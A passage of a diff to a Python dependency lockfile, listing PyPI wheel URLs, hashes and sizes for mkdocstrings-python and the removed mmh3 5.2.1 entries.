"sha256:30c837bbff016549f659fcba6539ac351303f0fd7e713c89a040611072236e9d", size = 104951, upload-time = "2026-06-19T10:41:07.378Z" }, + { url = "https://files.pythonhosted.org/packages/be/1b/fc924a97a237adda47f15c1b0cc271639e6b181ab3f95500fbf060c79a69/mkdocstrings_python-2.0.10-py3-none-any.whl", hash = "sha256:4a3aaeebb25ba5ae57a8f9e75432fe4571984889602f2b2f7d672faa760e9062", size = 105538, upload-time = "2026-10-19T15:58:06.287Z" }, ] [[package]] name = "mmh3" -version = "5.2.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/91/1a/edb23803a168f070ded7a3014c6d706f63b90c84ccc024f89d794a3b7a6d/mmh3-5.2.1.tar.gz", hash = "sha256:bbea5b775f0ac84945191fb83f845a6fd9a21a03ea7f2e187defac7e401616ad", size = 33775, upload-time = "2026-03-05T15:55:57.716Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a6/bb/88ee54afa5644b0f35ab5b435f208394feb963e5bb47c4e404deb625ffa4/mmh3-5.2.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5d87a3584093e1a89987e3d36d82c98d9621b2cb944e22a420aa1401e096758f", size = 56080, upload-time = "2026-03-05T15:53:40.452Z" }, - { url = "https://files.pythonhosted.org/packages/cc/bf/5404c2fd6ac84819e8ff1b7e34437b37cf55a2b11318894909e7bb88de3f/mmh3-5.2.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:30e4d2084df019880d55f6f7bea35328d9b464ebee090baa372c096dc77556fb", size = 40462, upload-time = "2026-03-05T15:53:41.751Z" }, - { url = "https://files.pythonhosted.org/packages/de/0b/52bffad0b52ae4ea53e222b594bd38c08ecac1fc410323220a7202e43da5/mmh3-5.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bbc17250b10d3466875a40a52520a6bac3c02334ca709207648abd3c223ed5c", size = 40077, upload-time = "2026-03-05T15:53:42.753Z" }, - { url = "https://files.pythonhosted.org/packages/a0/9e/326c93d425b9fa4cbcdc71bc32aaba520db37577d632a24d25d927594eca/mmh3-5.2.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:76219cd1eefb9bf4af7856e3ae563d15158efa145c0aab01e9933051a1954045", size = 95302, upload-time = "2026-03-05T15:53:43.867Z" }, - { url = "https://files.pythonhosted.org/packages/c6/b1/e20d5f0d19c4c0f3df213fa7dcfa0942c4fb127d38e11f398ae8ddf6cccc/mmh3-5.2.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb9d44c25244e11c8be3f12c938ca8ba8404620ef8092245d2093c6ab3df260f", size = 101174, upload-time = "2026-03-05T15:53:45.194Z" }, - { url = "https://files.pythonhosted.org/packages/7f/4a/1a9bb3e33c18b1e1cee2c249a3053c4d4d9c93ecb30738f39a62249a7e86/mmh3-5.2.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2d5d542bf2abd0fd0361e8017d03f7cb5786214ceb4a40eef1539d6585d93386", size = 103979, upload-time = "2026-03-05T15:53:46.334Z" }, - { url = "https://files.pythonhosted.org/packages/ff/8d/dab9ee7545429e7acdd38d23d0104471d31de09a0c695f1b751e0ff34532/mmh3-5.2.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:08043f7cb1fb9467c3fbbbaea7896986e7fbc81f4d3fd9289a73d9110ab6207a", size = 110898, upload-time = "2026-03-05T15:53:47.443Z" }, - { url = "https://files.pythonhosted.org/packages/72/08/408f11af7fe9e76b883142bb06536007cc7f237be2a5e9ad4e837716e627/mmh3-5.2.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:add7ac388d1e0bf57259afbcf9ed05621a3bf11ce5ee337e7536f1e1aaf056b0", size = 118308, upload-time = "2026-03-05T15:53:49.1Z" }, - { url = "https://files.pythonhosted.org/packages/86/2d/0551be7fe0000736d9ad12ffa1f130d7a0c17b49193d6dc41c82bd9404c6/mmh3-5.2.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:41105377f6282e8297f182e393a79cfffd521dde37ace52b106373bdcd9ca5cb", size = 101671, upload-time = "2026-03-05T15:53:50.317Z" }, - { url = "https://files.pythonhosted.org/packages/44/17/6e4f80c4e6ad590139fa2017c3aeca54e7cc9ef68e08aa142a0c90f40a97/mmh3-5.2.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3cb61db880ec11e984348227b333259994c2c85caa775eb7875decb3768db890", size = 96682, upload-time = "2026-03-05T15:53:51.48Z" }, - { url = "https://files.pythonhosted.org/packages/ad/a7/b82fccd38c1fa815de72e94ebe9874562964a10e21e6c1bc3b01d3f15a0e/mmh3-5.2.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b5378de2b139c3a830f0209c1e91f7705919a4b3e563a10955104f5097a70a", size = 110287, upload-time = "2026-03-05T15:53:52.68Z" }, - { url = "https://files.pythonhosted.org/packages/a8/a1/2644069031c8cec0be46f0346f568a53f42fddd843f03cc890306699c1e2/mmh3-5.2.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e904f2417f0d6f6d514f3f8b836416c360f306ddaee1f84de8eef1e722d212e5", size = 111899, upload-time = "2026-03-05T15:53:53.791Z" }, - { url = "https://files.pythonhosted.org/packages/51/7b/6614f3eb8fb33f931fa7616c6d477247e48ec6c5082b02eeeee998cffa94/mmh3-5.2.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1fbb0a99125b1287c6d9747f937dc66621426836d1a2d50d05aecfc81911b57", size = 100078, upload-time = "2026-03-05T15:53:55.234Z" }, - { url = "https://files.pythonhosted.org/packages/27/9a/dd4d5a5fb893e64f71b42b69ecae97dd78db35075412488b24036bc5599c/mmh3-5.2.1-cp310-cp310-win32.whl", hash = "sha256:b4cce60d0223074803c9dbe0721ad3fa51dafe7d462fee4b656a1aa01ee07518", size = 40756, upload-time = "2026-03-05T15:53:56.319Z" }, - { url = "https://files.pythonhosted.org/packages/c9/34/0b25889450f8aeffcec840aa73251e853f059c1b72ed1d1c027b956f95f5/mmh3-5.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:6f01f044112d43a20be2f13a11683666d87151542ad627fe41a18b9791d2802f", size = 41519, upload-time = "2026-03-05T15:53:57.41Z" }, - { url = "https://files.pythonhosted.org/packages/fd/31/8fd42e3c526d0bcb1db7f569c0de6729e180860a0495e387a53af33c2043/mmh3-5.2.1-cp310-cp310-win_arm64.whl", hash = "sha256:7501e9be34cb21e72fcfe672aafd0eee65c16ba2afa9dcb5500a587d3a0580f0", size = 39285, upload-time = "2026-03-05T15:53:58.697Z" }, - { url = "https://files.pythonhosted.org/packages/65/d7/3312a59df3c1cdd783f4cf0c4ee8e9decff9c5466937182e4cc7dbbfe6c5/mmh3-5.2.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:dae0f0bd7d30c0ad61b9a504e8e272cb8391eed3f1587edf933f4f6b33437450", size = 56082, upload-time = "2026-03-05T15:53:59.702Z" }, - { url = "https://files.pythonhosted.org/packages/61/96/6f617baa098ca0d2989bfec6d28b5719532cd8d8848782662f5b755f657f/mmh3-5.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9aeaf53eaa075dd63e81512522fd180097312fb2c9f476333309184285c49ce0", size = 40458, upload-time = "2026-03-05T15:54:01.548Z" }, - { url = "https://files.pythonhosted.org/packages/c1/b4/9cd284bd6062d711e13d26c04d4778ab3f690c1c38a4563e3c767ec8802e/mmh3-5.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0634581290e6714c068f4aa24020acf7880927d1f0084fa753d9799ae9610082", size = 40079, upload-time = "2026-03-05T15:54:02.743Z" }, - { url = "https://files.pythonhosted.org/packages/f6/09/a806334ce1d3d50bf782b95fcee8b3648e1e170327d4bb7b4bad2ad7d956/mmh3-5.2.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e080c0637aea036f35507e803a4778f119a9b436617694ae1c5c366805f1e997", size = 97242, upload-time = "2026-03-05T15:54:04.536Z" }, - { url = "https://files.pythonhosted.org/packages/ee/93/723e317dd9e041c4dc4566a2eb53b01ad94de31750e0b834f1643905e97c/mmh3-5.2.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:db0562c5f71d18596dcd45e854cf2eeba27d7543e1a3acdafb7eef728f7fe85d", size = 103082, upload-time = "2026-03-05T15:54:06.387Z" }, - { url = "https://files.pythonhosted.org/packages/61/b5/f96121e69cc48696075071531cf574f112e1ffd08059f4bffb41210e6fc5/mmh3-5.2.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d9f9a3ce559a5267014b04b82956993270f63ec91765e13e9fd73daf2d2738e", size = 106054, upload-time = "2026-03-05T15:54:07.506Z" }, - { url = "https://files.pythonhosted.org/packages/82/49/192b987ec48d0b2aecf8ac285a9b11fbc00030f6b9c694664ae923458dde/mmh3-5.2.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:960b1b3efa39872ac8b6cc3a556edd6fb90ed74f08c9c45e028f1005b26aa55d", size = 112910, upload-time = "2026-03-05T15:54:09.403Z" }, - { url = "https://files.pythonhosted.org/packages/cf/a1/03e91fd334ed0144b83343a76eb11f17434cd08f746401488cfeafb2d241/mmh3-5.2.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d30b650595fdbe32366b94cb14f30bb2b625e512bd4e1df00611f99dc5c27fd4", size = 120551, upload-time = "2026-03-05T15:54:10.587Z" }, - { url = "https://files.pythonhosted.org/packages/93/b9/b89a71d2ff35c3a764d1c066c7313fc62c7cc48fa48a4b3b0304a4a0146f/mmh3-5.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:82f3802bfc4751f420d591c5c864de538b71cea117fce67e4595c2afede08a15", size = 99096, upload-time = "2026-03-05T15:54:11.76Z" }, - { url = "https://files.pythonhosted.org/packages/36/b5/613772c1c6ed5f7b63df55eb131e887cc43720fec392777b95a79d34e640/mmh3-5.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:915e7a2418f10bd1151b1953df06d896db9783c9cfdb9a8ee1f9b3a4331ab503", size = 98524, upload-time = "2026-03-05T15:54:13.122Z" }, - { url = "https://files.pythonhosted.org/packages/5e/0e/1524566fe8eaf871e4f7bc44095929fcd2620488f402822d848df19d679c/mmh3-5.2.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:fc78739b5ec6e4fb02301984a3d442a91406e7700efbe305071e7fd1c78278f2", size = 106239, upload-time = "2026-03-05T15:54:14.601Z" }, - { url = "https://files.pythonhosted.org/packages/04/94/21adfa7d90a7a697137ad6de33eeff6445420ca55e433a5d4919c79bc3b5/mmh3-5.2.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:41aac7002a749f08727cb91babff1daf8deac317c0b1f317adc69be0e6c375d1", size = 109797, upload-time = "2026-03-05T15:54:15.819Z" }, - { url = "https://files.pythonhosted.org/packages/b5/e6/1aacc3a219e1aa62fa65669995d4a3562b35be5200ec03680c7e4bec9676/mmh3-5.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9d8089d853c7963a8ce87fff93e2a67075c0bc08684a08ea6ad13577c38ffc38", size = 97228, upload-time = "2026-03-05T15:54:16.992Z" }, - { url = "https://files.pythonhosted.org/packages/f1/b9/5e4cca8dcccf298add0a27f3c357bc8cf8baf821d35cdc6165e4bd5a48b0/mmh3-5.2.1-cp311-cp311-win32.whl", hash = "sha256:baeb47635cb33375dee4924cd93d7f5dcaa786c740b08423b0209b824a1ee728", size = 40751, upload-time = "2026-03-05T15:54:18.714Z" }, - { url = "https://files.pythonhosted.org/packages/72/fc/5b11d49247f499bcda591171e9cf3b6ee422b19e70aa2cef2e0ae65ca3b9/mmh3-5.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:1e4ecee40ba19e6975e1120829796770325841c2f153c0e9aecca927194c6a2a", size = 41517, upload-time = "2026-03-05T15:54:19.764Z" }, - { url = "https://files.pythonhosted.org/packages/8a/5f/2a511ee8a1c2a527c77726d5231685b72312c5a1a1b7639ad66a9652aa84/mmh3-5.2.1-cp311-cp311-win_arm64.whl", hash = "sha256:c302245fd6c33d96bd169c7ccf2513c20f4c1e417c07ce9dce107c8bc3f8411f", size = 39287, upload-time = "2026-03-05T15:54:20.904Z" }, - { url = "https://files.pythonhosted.org/packages/92/94/bc5c3b573b40a328c4d141c20e399039ada95e5e2a661df3425c5165fd84/mmh3-5.2.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0cc21533878e5586b80d74c281d7f8da7932bc8ace50b8d5f6dbf7e3935f63f1", size = 56087, upload-time = "2026-03-05T15:54:21.92Z" }, - { url = "https://files.pythonhosted.org/packages/f6/80/64a02cc3e95c3af0aaa2590849d9ed24a9f14bb93537addde688e039b7c3/mmh3-5.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4eda76074cfca2787c8cf1bec603eaebdddd8b061ad5502f85cddae998d54f00", size = 40500, upload-time = "2026-03-05T15:54:22.953Z" }, - { url = "https://files.pythonhosted.org/packages/8b/72/e6d6602ce18adf4ddcd0e48f2e13590cc92a536199e52109f46f259d3c46/mmh3-5.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:eee884572b06bbe8a2b54f424dbd996139442cf83c76478e1ec162512e0dd2c7", size = 40034, upload-time = "2026-03-05T15:54:23.943Z" }, - { url = "https://files.pythonhosted.org/packages/59/c2/bf4537a8e58e21886ef16477041238cab5095c836496e19fafc34b7445d2/mmh3-5.2.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0d0b7e803191db5f714d264044e06189c8ccd3219e936cc184f07106bd17fd7b", size = 97292, upload-time = "2026-03-05T15:54:25.335Z" }, - { url = "https://files.pythonhosted.org/packages/e5/e2/51ed62063b44d10b06d975ac87af287729eeb5e3ed9772f7584a17983e90/mmh3-5.2.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e6c219e375f6341d0959af814296372d265a8ca1af63825f65e2e87c618f006", size = 103274, upload-time = "2026-03-05T15:54:26.44Z" }, - { url = "https://files.pythonhosted.org/packages/75/ce/12a7524dca59eec92e5b31fdb13ede1e98eda277cf2b786cf73bfbc24e81/mmh3-5.2.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26fb5b9c3946bf7f1daed7b37e0c03898a6f062149127570f8ede346390a0825", size = 106158, upload-time = "2026-03-05T15:54:28.578Z" }, - { url = "https://files.pythonhosted.org/packages/86/1f/d3ba6dd322d01ab5d44c46c8f0c38ab6bbbf9b5e20e666dfc05bf4a23604/mmh3-5.2.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3c38d142c706201db5b2345166eeef1e7740e3e2422b470b8ba5c8727a9b4c7a", size = 113005, upload-time = "2026-03-05T15:54:29.767Z" }, - { url = "https://files.pythonhosted.org/packages/b6/a9/15d6b6f913294ea41b44d901741298e3718e1cb89ee626b3694625826a43/mmh3-5.2.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50885073e2909251d4718634a191c49ae5f527e5e1736d738e365c3e8be8f22b", size = 120744, upload-time = "2026-03-05T15:54:30.931Z" }, - { url = "https://files.pythonhosted.org/packages/76/b3/70b73923fd0284c439860ff5c871b20210dfdbe9a6b9dd0ee6496d77f174/mmh3-5.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b3f99e1756fc48ad507b95e5d86f2fb21b3d495012ff13e6592ebac14033f166", size = 99111, upload-time = "2026-03-05T15:54:32.353Z" }, - { url = "https://files.pythonhosted.org/packages/dd/38/99f7f75cd27d10d8b899a1caafb9d531f3903e4d54d572220e3d8ac35e89/mmh3-5.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:62815d2c67f2dd1be76a253d88af4e1da19aeaa1820146dec52cf8bee2958b16", size = 98623, upload-time = "2026-03-05T15:54:33.801Z" }, - { url = "https://files.pythonhosted.org/packages/fd/68/6e292c0853e204c44d2f03ea5f090be3317a0e2d9417ecb62c9eb27687df/mmh3-5.2.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8f767ba0911602ddef289404e33835a61168314ebd3c729833db2ed685824211", size = 106437, upload-time = "2026-03-05T15:54:35.177Z" }, - { url = "https://files.pythonhosted.org/packages/dd/c6/fedd7284c459cfb58721d461fcf5607a4c1f5d9ab195d113d51d10164d16/mmh3-5.2.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:67e41a497bac88cc1de96eeba56eeb933c39d54bc227352f8455aa87c4ca4000", size = 110002, upload-time = "2026-03-05T15:54:36.673Z" }, - { url = "https://files.pythonhosted.org/packages/3b/ac/ca8e0c19a34f5b71390171d2ff0b9f7f187550d66801a731bb68925126a4/mmh3-5.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3d74a03fb57757ece25aa4b3c1c60157a1cece37a020542785f942e2f827eed5", size = 97507, upload-time = "2026-03-05T15:54:37.804Z" }, - { url = "https://files.pythonhosted.org/packages/df/94/6ebb9094cfc7ac5e7950776b9d13a66bb4a34f83814f32ba2abc9494fc68/mmh3-5.2.1-cp312-cp312-win32.whl", hash = "sha256:7374d6e3ef72afe49697ecd683f3da12f4fc06af2d75433d0580c6746d2fa025", size = 40773, upload-time = "2026-03-05T15:54:40.077Z" }, - { url = "https://files.pythonhosted.org/packages/5b/3c/cd3527198cf159495966551c84a5f36805a10ac17b294f41f67b83f6a4d6/mmh3-5.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:3a9fed49c6ce4ed7e73f13182760c65c816da006debe67f37635580dfb0fae00", size = 41560, upload-time = "2026-03-05T15:54:41.148Z" }, - { url = "https://files.pythonhosted.org/packages/15/96/6fe5ebd0f970a076e3ed5512871ce7569447b962e96c125528a2f9724470/mmh3-5.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:bbfcb95d9a744e6e2827dfc66ad10e1020e0cac255eb7f85652832d5a264c2fc", size = 39313, upload-time = "2026-03-05T15:54:42.171Z" }, - { url = "https://files.pythonhosted.org/packages/25/a5/9daa0508a1569a54130f6198d5462a92deda870043624aa3ea72721aa765/mmh3-5.2.1-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:723b2681ed4cc07d3401bbea9c201ad4f2a4ca6ba8cddaff6789f715dd2b391e", size = 40832, upload-time = "2026-03-05T15:54:43.212Z" }, - { url = "https://files.pythonhosted.org/packages/0a/6b/3230c6d80c1f4b766dedf280a92c2241e99f87c1504ff74205ec8cebe451/mmh3-5.2.1-cp313-cp313-android_21_x86_64.whl", hash = "sha256:3619473a0e0d329fd4aec8075628f8f616be2da41605300696206d6f36920c3d", size = 41964, upload-time = "2026-03-05T15:54:44.204Z" }, - { url = "https://files.pythonhosted.org/packages/62/fb/648bfddb74a872004b6ee751551bfdda783fe6d70d2e9723bad84dbe5311/mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e48d4dbe0f88e53081da605ae68644e5182752803bbc2beb228cca7f1c4454d6", size = 39114, upload-time = "2026-03-05T15:54:45.205Z" }, - { url = "https://files.pythonhosted.org/packages/95/c2/ab7901f87af438468b496728d11264cb397b3574d41506e71b92128e0373/mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a482ac121de6973897c92c2f31defc6bafb11c83825109275cffce54bb64933f", size = 39819, upload-time = "2026-03-05T15:54:46.509Z" }, - { url = "https://files.pythonhosted.org/packages/2f/ed/6f88dda0df67de1612f2e130ffea34cf84aaee5bff5b0aff4dbff2babe34/mmh3-5.2.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:17fbb47f0885ace8327ce1235d0416dc86a211dcd8cc1e703f41523be32cfec8", size = 40330, upload-time = "2026-03-05T15:54:47.864Z" }, - { url = "https://files.pythonhosted.org/packages/3d/66/7516d23f53cdf90f43fce24ab80c28f45e6851d78b46bef8c02084edf583/mmh3-5.2.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:d51fde50a77f81330523562e3c2734ffdca9c4c9e9d355478117905e1cfe16c6", size = 56078, upload-time = "2026-03-05T15:54:48.9Z" }, - { url = "https://files.pythonhosted.org/packages/bc/34/4d152fdf4a91a132cb226b671f11c6b796eada9ab78080fb5ce1e95adaab/mmh3-5.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:19bbd3b841174ae6ed588536ab5e1b1fe83d046e668602c20266547298d939a9", size = 40498, upload-time = "2026-03-05T15:54:49.942Z" }, - { url = "https://files.pythonhosted.org/packages/d4/4c/8e3af1b6d85a299767ec97bd923f12b06267089c1472c27c1696870d1175/mmh3-5.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:be77c402d5e882b6fbacfd90823f13da8e0a69658405a39a569c6b58fdb17b03", size = 40033, upload-time = "2026-03-05T15:54:50.994Z" }, - { url = "https://files.pythonhosted.org/packages/8b/f2/966ea560e32578d453c9e9db53d602cbb1d0da27317e232afa7c38ceba11/mmh3-5.2.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fd96476f04db5ceba1cfa0f21228f67c1f7402296f0e73fee3513aa680ad237b", size = 97320, upload-time = "2026-03-05T15:54:52.072Z" }, - { url = "https://files.pythonhosted.org/packages/bb/0d/2c5f9893b38aeb6b034d1a44ecd55a010148054f6a516abe53b5e4057297/mmh3-5.2.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:707151644085dd0f20fe4f4b573d28e5130c4aaa5f587e95b60989c5926653b5", size = 103299, upload-time = "2026-03-05T15:54:53.569Z" }, - { url = "https://files.pythonhosted.org/packages/1c/fc/2ebaef4a4d4376f89761274dc274035ffd96006ab496b4ee5af9b08f21a9/mmh3-5.2.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3737303ca9ea0f7cb83028781148fcda4f1dac7821db0c47672971dabcf63593", size = 106222, upload-time = "2026-03-05T15:54:55.092Z" }, - { url = "https://files.pythonhosted.org/packages/57/09/ea7ffe126d0ba0406622602a2d05e1e1a6841cc92fc322eb576c95b27fad/mmh3-5.2.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2778fed822d7db23ac5008b181441af0c869455b2e7d001f4019636ac31b6fe4", size = 113048, upload-time = "2026-03-05T15:54:56.305Z" }, - { url = "https://files.pythonhosted.org/packages/85/57/9447032edf93a64aa9bef4d9aa596400b1756f40411890f77a284f6293ca/mmh3-5.2.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d57dea657357230cc780e13920d7fa7db059d58fe721c80020f94476da4ca0a1", size = 120742, upload-time = "2026-03-05T15:54:57.453Z" }, - { url = "https://files.pythonhosted.org/packages/53/82/a86cc87cc88c92e9e1a598fee509f0409435b57879a6129bf3b3e40513c7/mmh3-5.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:169e0d178cb59314456ab30772429a802b25d13227088085b0d49b9fe1533104", size = 99132, upload-time = "2026-03-05T15:54:58.583Z" }, - { url = "https://files.pythonhosted.org/packages/54/f7/6b16eb1b40ee89bb740698735574536bc20d6cdafc65ae702ea235578e05/mmh3-5.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7e4e1f580033335c6f76d1e0d6b56baf009d1a64d6a4816347e4271ba951f46d", size = 98686, upload-time = "2026-03-05T15:55:00.078Z" }, - { url = "https://files.pythonhosted.org/packages/e8/88/a601e9f32ad1410f438a6d0544298ea621f989bd34a0731a7190f7dec799/mmh3-5.2.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:2bd9f19f7f1fcebd74e830f4af0f28adad4975d40d80620be19ffb2b2af56c9f", size = 106479, upload-time = "2026-03-05T15:55:01.532Z" }, - { url = "https://files.pythonhosted.org/packages/d6/5c/ce29ae3dfc4feec4007a437a1b7435fb9507532a25147602cd5b52be86db/mmh3-5.2.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:c88653877aeb514c089d1b3d473451677b8b9a6d1497dbddf1ae7934518b06d2", size = 110030, upload-time = "2026-03-05T15:55:02.934Z" }, - { url = "https://files.pythonhosted.org/packages/13/30/ae444ef2ff87c805d525da4fa63d27cda4fe8a48e77003a036b8461cfd5c/mmh3-5.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fceef7fe67c81e1585198215e42ad3fdba3a25644beda8fbdaf85f4d7b93175a", size = 97536, upload-time = "2026-03-05T15:55:04.135Z" }, - { url = "https://files.pythonhosted.org/packages/4b/f9/dc3787ee5c813cc27fe79f45ad4500d9b5437f23a7402435cc34e07c7718/mmh3-5.2.1-cp313-cp313-win32.whl", hash = "sha256:54b64fb2433bc71488e7a449603bf8bd31fbcf9cb56fbe1eb6d459e90b86c37b", size = 40769, upload-time = "2026-03-05T15:55:05.277Z" }, - { url = "https://files.pythonhosted.org/packages/43/67/850e0b5a1e97799822ebfc4ca0e8c6ece3ed8baf7dcdf64de817dfdda2ca/mmh3-5.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:cae6383181f1e345317742d2ddd88f9e7d2682fa4c9432e3a74e47d92dce0229", size = 41563, upload-time = "2026-03-05T15:55:06.283Z" }, - { url = "https://files.pythonhosted.org/packages/c0/cc/98c90b28e1da5458e19fbfaf4adb5289208d3bfccd45dd14eab216a2f0bb/mmh3-5.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:022aa1a528604e6c83d0a7705fdef0b5355d897a9e0fa3a8d26709ceaa06965d", size = 39310, upload-time = "2026-03-05T15:55:07.323Z" }, - { url = "https://files.pythonhosted.org/packages/63/b4/65bc1fb2bb7f83e91c30865023b1847cf89a5f237165575e8c83aa536584/mmh3-5.2.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:d771f085fcdf4035786adfb1d8db026df1eb4b41dac1c3d070d1e49512843227", size = 40794, upload-time = "2026-03-05T15:55:09.773Z" }, - { url = "https://files.pythonhosted.org/packages/c4/86/7168b3d83be8eb553897b1fac9da8bbb06568e5cfe555ffc329ebb46f59d/mmh3-5.2.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:7f196cd7910d71e9d9860da0ff7a77f64d22c1ad931f1dd18559a06e03109fc0", size = 41923, upload-time = "2026-03-05T15:55:10.924Z" }, - { url = "https://files.pythonhosted.org/packages/bf/9b/b653ab611c9060ce8ff0ba25c0226757755725e789292f3ca138a58082cd/mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b1f12bd684887a0a5d55e6363ca87056f361e45451105012d329b86ec19dbe0b", size = 39131, upload-time = "2026-03-05T15:55:11.961Z" }, - { url = "https://files.pythonhosted.org/packages/9b/b4/5a2e0d34ab4d33543f01121e832395ea510132ea8e52cdf63926d9d81754/mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:d106493a60dcb4aef35a0fac85105e150a11cf8bc2b0d388f5a33272d756c966", size = 39825, upload-time = "2026-03-05T15:55:13.013Z" }, - { url = "https://files.pythonhosted.org/packages/bd/69/81699a8f39a3f8d368bec6443435c0c392df0d200ad915bf0d222b588e03/mmh3-5.2.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:44983e45310ee5b9f73397350251cdf6e63a466406a105f1d16cb5baa659270b", size = 40344, upload-time = "2026-03-05T15:55:14.026Z" }, - { url = "https://files.pythonhosted.org/packages/0c/b3/71c8c775807606e8fd8acc5c69016e1caf3200d50b50b6dd4b40ce10b76c/mmh3-5.2.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:368625fb01666655985391dbad3860dc0ba7c0d6b9125819f3121ee7292b4ac8", size = 56291, upload-time = "2026-03-05T15:55:15.137Z" }, - { url = "https://files.pythonhosted.org/packages/6f/75/2c24517d4b2ce9e4917362d24f274d3d541346af764430249ddcc4cb3a08/mmh3-5.2.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:72d1cc63bcc91e14933f77d51b3df899d6a07d184ec515ea7f56bff659e124d7", size = 40575, upload-time = "2026-03-05T15:55:16.518Z" }, - { url = "https://files.pythonhosted.org/packages/bf/b9/e4a360164365ac9f07a25f0f7928e3a66eb9ecc989384060747aa170e6aa/mmh3-5.2.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e8b4b5580280b9265af3e0409974fb79c64cf7523632d03fbf11df18f8b0181e", size = 40052, upload-time = "2026-03-05T15:55:17.735Z" }, - { url = 